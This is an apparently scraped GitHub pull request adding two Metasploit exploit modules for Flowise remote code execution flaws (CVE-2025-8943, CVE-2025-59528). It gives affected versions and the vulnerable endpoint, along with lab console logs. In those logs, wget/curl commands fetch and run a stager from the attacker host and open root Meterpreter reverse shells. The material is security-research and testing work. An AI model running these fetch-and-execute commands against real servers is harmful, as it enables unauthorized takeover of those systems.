Add Flowise RCE exploits (CVE-2025-59528, CVE-2025-8943) #20705

Chocapikk · 2025-11-18T21:26:53Z

Hello Metasploit Team,

I've created two new exploit modules for Flowise RCE vulnerabilities along with a shared mixin to reduce code duplication and improve maintainability.

Modules

1. flowise_custommcp_rce (CVE-2025-8943)

Vulnerability: Command injection via StdioClientTransport in the customMCP endpoint
Affected versions: >= 2.2.7-patch.1 and < 3.0.1
Authentication: Unauthenticated by default (uses x-request-from: internal header). Optional Basic Auth support if FLOWISE_USERNAME/FLOWISE_PASSWORD environment variables are configured on the target.

2. flowise_js_rce (CVE-2025-59528)

Vulnerability: JavaScript injection via convertToValidJSONString() using Function('return ' + inputString)()
Affected versions: >= 2.2.7-patch.1 and < 3.0.6
Authentication:
- Unauthenticated for versions < 3.0.1 (if Basic Auth is not configured)
- Requires FLOWISE_EMAIL/FLOWISE_PASSWORD module options for versions >= 3.0.1 (JWT verification introduced)

Implementation Details

Shared mixin: Created Msf::Exploit::Remote::HTTP::Flowise mixin to encapsulate common functionality:
- Version detection (flowise_get_version)
- Authentication handling (flowise_login, flowise_requires_auth?)
- Request sending (flowise_send_custommcp_request)
Documentation: Comprehensive documentation with Docker Compose setup for testing multiple Flowise versions simultaneously

Testing

Successfully tested on:

flowise_custommcp_rce (CVE-2025-8943):
- Flowise 2.2.7-patch.1 (unauthenticated, vulnerable)
- Flowise 2.2.7-patch.1 with Basic Auth configured (FLOWISE_USERNAME/FLOWISE_PASSWORD env vars, vulnerable)
- Flowise 3.0.0 (unauthenticated, vulnerable)
- Flowise 3.0.1 (verified fixed, not vulnerable)
flowise_js_rce (CVE-2025-59528):
- Flowise 2.2.7-patch.1 (unauthenticated, vulnerable)
- Flowise 3.0.0 (unauthenticated, vulnerable)
- Flowise 3.0.4 (authentication required, vulnerable)
- Flowise 3.0.6 (verified fixed, not vulnerable)

Both vulnerabilities exploit the /api/v1/node-load-method/customMCP endpoint, which was introduced in version 2.2.7-patch.1. The endpoint allows execution of OS commands through the Custom MCPs feature, which lacks proper authentication and authorization controls in versions before 3.0.1.

msutovsky-r7

msf exploit(multi/http/flowise_custommcp_rce) > check
[*] Flowise version detected: 3.0.0
[*] 127.0.0.1:3000 - The target appears to be vulnerable. Version 3.0.0 is vulnerable to CVE-2025-8943
msf exploit(multi/http/flowise_custommcp_rce) > run verbose=true 
[*] Command to run on remote host: curl -so ./yvMbpEGLSTB http://172.17.0.1:8080/6-QSk_1Z4L51LCLriobShA;chmod +x ./yvMbpEGLSTB;./yvMbpEGLSTB&
[*] Fetch handler listening on 172.17.0.1:8080
[*] HTTP server started
[*] Adding resource /6-QSk_1Z4L51LCLriobShA
[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Flowise version detected: 3.0.0
[+] The target appears to be vulnerable. Version 3.0.0 is vulnerable to CVE-2025-8943
[*] Client 172.21.0.2 requested /6-QSk_1Z4L51LCLriobShA
[*] Sending payload to 172.21.0.2 (curl/8.12.1)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 172.21.0.2
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.21.0.2:41646) at 2025-11-19 08:37:25 +0100

  
meterpreter > 
meterpreter > sysinfo
Computer     : 172.21.0.2
OS           :  (Linux 6.17.4-76061704-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root

modules/exploits/multi/http/flowise_custommcp_rce.rb

Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>

…rt and HTTP response validation

…mixin, documentation, and Docker Compose setup

…enario

…) and add Basic Auth service example

msutovsky-r7

CVE-2025-8943

msf exploit(multi/http/flowise_custommcp_rce) > run verbose=true 
[*] Command to run on remote host: wget -qO ./jMiKfYqrONf http://172.17.0.1:8080/6-QSk_1Z4L51LCLriobShA;chmod +x ./jMiKfYqrONf;./jMiKfYqrONf&
[*] Fetch handler listening on 172.17.0.1:8080
[*] HTTP server started
[*] Adding resource /6-QSk_1Z4L51LCLriobShA
[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Flowise version detected: 3.0.0
[+] The target appears to be vulnerable. (affected: >= 2.2.7-patch.1 and < 3.0.1)
[*] Client 172.21.0.2 requested /6-QSk_1Z4L51LCLriobShA
[*] Sending payload to 172.21.0.2 (Wget)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 172.21.0.2
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.21.0.2:50060) at 2025-11-20 10:33:58 +0100

meterpreter > 
meterpreter > sysinfo
Computer     : 172.21.0.2
OS           :  (Linux 6.17.4-76061704-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root

CVE-2025-59528

msf exploit(multi/http/flowise_js_rce) > run verbose=true 
[*] Command to run on remote host: wget -qO ./IiMLZkCGWZ http://172.17.0.1:8080/6-QSk_1Z4L51LCLriobShA;chmod +x ./IiMLZkCGWZ;./IiMLZkCGWZ&
[*] Fetch handler listening on 172.17.0.1:8080
[*] HTTP server started
[*] Adding resource /6-QSk_1Z4L51LCLriobShA
[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Flowise version detected: 3.0.0
[+] The target appears to be vulnerable. (affected: >= 2.2.7-patch.1 and < 3.0.6) (may work unauthenticated)
[*] Client 172.21.0.2 requested /6-QSk_1Z4L51LCLriobShA
[*] Sending payload to 172.21.0.2 (Wget)
[*] Command sent successfully (HTTP 200)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 172.21.0.2
[*] Meterpreter session 2 opened (172.17.0.1:4444 -> 172.21.0.2:42766) at 2025-11-20 10:40:35 +0100

meterpreter > sysinfo
Computer     : 172.21.0.2
OS           :  (Linux 6.17.4-76061704-generic)
Architecture : x64
gBuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root

lib/msf/core/exploit/remote/http/flowise.rb

modules/exploits/multi/http/flowise_custommcp_rce.rb

modules/exploits/multi/http/flowise_js_rce.rb

Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>

…lify code

msutovsky-r7

rmsf exploit(multi/http/flowise_js_rce) > run verbose=true 
[*] Command to run on remote host: wget -qO ./MyPRGRWPiiTH http://172.17.0.1:8080/6-QSk_1Z4L51LCLriobShA;chmod +x ./MyPRGRWPiiTH;./MyPRGRWPiiTH&
[*] Fetch handler listening on 172.17.0.1:8080
[*] HTTP server started
[*] Adding resource /6-QSk_1Z4L51LCLriobShA
[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Flowise version detected: 3.0.0
[+] The target appears to be vulnerable. (affected: >= 2.2.7-patch.1 and < 3.0.6) (may work unauthenticated)
wget -qO ./MyPRGRWPiiTH http://172.17.0.1:8080/6-QSk_1Z4L51LCLriobShA;chmod +x ./MyPRGRWPiiTH;./MyPRGRWPiiTH&
[*] Client 172.21.0.2 requested /6-QSk_1Z4L51LCLriobShA
[*] Sending payload to 172.21.0.2 (Wget)
[*] Command sent successfully (HTTP 200)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 172.21.0.2
[*] Meterpreter session 5 opened (172.17.0.1:4444 -> 172.21.0.2:49224) at 2025-11-21 14:54:02 +0100

meterpreter >

msf exploit(multi/http/flowise_custommcp_rce) > run verbose=true 
[*] Command to run on remote host: wget -qO ./RKJYlPhhUo http://172.17.0.1:8080/84MXSOLXzp3D5wBw9VEswg;chmod +x ./RKJYlPhhUo;./RKJYlPhhUo&
[*] Fetch handler listening on 172.17.0.1:8080
[*] HTTP server started
[*] Adding resource /84MXSOLXzp3D5wBw9VEswg
[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Flowise version detected: 3.0.0
[+] The target appears to be vulnerable. (affected: >= 2.2.7-patch.1 and < 3.0.1)
[*] Client 172.21.0.2 requested /84MXSOLXzp3D5wBw9VEswg
[*] Sending payload to 172.21.0.2 (Wget)
[*] Meterpreter session 2 opened (172.17.0.1:4444 -> 172.21.0.2:47464) at 2025-11-21 14:52:17 +0100

meterpreter >

modules/exploits/multi/http/flowise_js_rce.rb

…n flowise_js_rce

msutovsky-r7

Flowise JS RCE

msf exploit(multi/http/flowise_js_rce) > run verbose=true 
[*] Command to run on remote host: wget -qO ./jUSqvQikK http://172.17.0.1:8080/6-QSk_1Z4L51LCLriobShA;chmod +x ./jUSqvQikK;./jUSqvQikK&
[*] Fetch handler listening on 172.17.0.1:8080
[*] HTTP server started
[*] Adding resource /6-QSk_1Z4L51LCLriobShA
[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Flowise version detected: 3.0.0
[+] The target appears to be vulnerable. (affected: >= 2.2.7-patch.1 and < 3.0.6) (may work unauthenticated)
[*] Command sent successfully (HTTP 200)
[*] Client 172.21.0.2 requested /6-QSk_1Z4L51LCLriobShA
[*] Sending payload to 172.21.0.2 (Wget)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 172.21.0.2
[*] Meterpreter session 2 opened (172.17.0.1:4444 -> 172.21.0.2:60210) at 2025-11-21 20:48:59 +0100

meterpreter > sysinfo 
Computer     : 172.21.0.2
OS           :  (Linux 6.17.4-76061704-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root

Flowise custommcp RCE

msf exploit(multi/http/flowise_custommcp_rce) > run verbose=true 
[*] Command to run on remote host: wget -qO ./jXbVzdDqF http://172.17.0.1:8080/6-QSk_1Z4L51LCLriobShA;chmod +x ./jXbVzdDqF;./jXbVzdDqF&
[*] Fetch handler listening on 172.17.0.1:8080
[*] HTTP server started
[*] Adding resource /6-QSk_1Z4L51LCLriobShA
[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Flowise version detected: 3.0.0
[+] The target appears to be vulnerable. (affected: >= 2.2.7-patch.1 and < 3.0.1)
[*] Client 172.21.0.2 requested /6-QSk_1Z4L51LCLriobShA
[*] Sending payload to 172.21.0.2 (Wget)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 172.21.0.2
[*] Meterpreter session 3 opened (172.17.0.1:4444 -> 172.21.0.2:35224) at 2025-11-21 20:51:10 +0100

[!] No response from server (command may still execute in background)

meterpreter > 
meterpreter > sysinfo
Computer     : 172.21.0.2
OS           :  (Linux 6.17.4-76061704-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root

msutovsky-r7 · 2025-11-21T20:22:52Z

Release Notes

This adds two modules for two vulnerabilities in Flowise (CVE-2025-59528, CVE-2025-8943). The modules add an option to use Flowise credentials for authentication when the application requires it, enabling exploitation of vulnerabilities.

Chocapikk and others added 2 commits November 18, 2025 22:03

Add Flowise Custom MCP RCE exploit (CVE-2025-8943)

88aadcc

Add Flowise Custom MCP RCE exploit (CVE-2025-8943)

b26c4f5

msutovsky-r7 self-assigned this Nov 19, 2025

msutovsky-r7 added module docs labels Nov 19, 2025

msutovsky-r7 reviewed Nov 19, 2025

View reviewed changes

Chocapikk and others added 5 commits November 19, 2025 19:56

Remove CVE ID from title

a187b98

Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>

Delete SSL param

8178313

Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>

Change checkcode

7ba1434

Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>

Update modules/exploits/multi/http/flowise_custommcp_rce.rb

f991bd5

Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>

Improve Flowise CustomMCP RCE exploit stability with Basic Auth suppo…

df1c157

…rt and HTTP response validation

Chocapikk force-pushed the flowise branch from bd179fc to df1c157 Compare November 19, 2025 19:12

Add Flowise RCE exploits (CVE-2025-59528, CVE-2025-8943) with shared …

44cf2e3

…mixin, documentation, and Docker Compose setup

Chocapikk changed the title ~~Add Flowise Custom MCP RCE exploit (CVE-2025-8943)~~ Add Flowise RCE exploits (CVE-2025-59528, CVE-2025-8943) Nov 19, 2025

Chocapikk added 4 commits November 19, 2025 22:24

Update flowise_custommcp_rce documentation: add Basic Auth testing sc…

8fbbc3e

…enario

Fix documentation inconsistency: update ports for Flowise 3.0.1 (3005…

6ab2452

…) and add Basic Auth service example

Move FETCH_COMMAND WGET to Unix/Linux target DefaultOptions only

3102b31

Simplify code formatting: shorten lines and improve readability

9624f75

Chocapikk requested a review from msutovsky-r7 November 20, 2025 03:01

msutovsky-r7 reviewed Nov 20, 2025

View reviewed changes

Chocapikk and others added 4 commits November 20, 2025 21:55

Update lib/msf/core/exploit/remote/http/flowise.rb

11c64b8

Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>

Update modules/exploits/multi/http/flowise_custommcp_rce.rb

db08295

Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>

Update modules/exploits/multi/http/flowise_js_rce.rb

8cd32c0

Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>

Apply review suggestions: use case/when, improve error handling, simp…

6215da4

…lify code

Chocapikk force-pushed the flowise branch from 2ca3941 to 6215da4 Compare November 20, 2025 21:41

Chocapikk requested a review from msutovsky-r7 November 21, 2025 12:36

msutovsky-r7 reviewed Nov 21, 2025

View reviewed changes

modules/exploits/multi/http/flowise_js_rce.rb Outdated Show resolved Hide resolved

Remove manual substitution and add BadChars for backslash and quote i…

8702256

…n flowise_js_rce

msutovsky-r7 approved these changes Nov 21, 2025

View reviewed changes

msutovsky-r7 added the rn-modules release notes for new or majorly enhanced modules label Nov 21, 2025

msutovsky-r7 merged commit 8f2525a into rapid7:master Nov 21, 2025
45 of 49 checks passed

Chocapikk deleted the flowise branch November 24, 2025 20:06

Add Flowise RCE exploits (CVE-2025-59528, CVE-2025-8943) #20705

Add Flowise RCE exploits (CVE-2025-59528, CVE-2025-8943) #20705

Conversation

Chocapikk commented Nov 18, 2025 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Modules

1. flowise_custommcp_rce (CVE-2025-8943)

2. flowise_js_rce (CVE-2025-59528)

Implementation Details

Testing

Uh oh!

msutovsky-r7 left a comment

Choose a reason for hiding this comment

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

msutovsky-r7 left a comment

Choose a reason for hiding this comment

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

msutovsky-r7 left a comment

Choose a reason for hiding this comment

Uh oh!

Uh oh!

msutovsky-r7 left a comment

Choose a reason for hiding this comment

Uh oh!

Uh oh!

msutovsky-r7 commented Nov 21, 2025 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Release Notes

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

2 participants

Chocapikk commented Nov 18, 2025 •

edited

Loading

msutovsky-r7 commented Nov 21, 2025 •

edited

Loading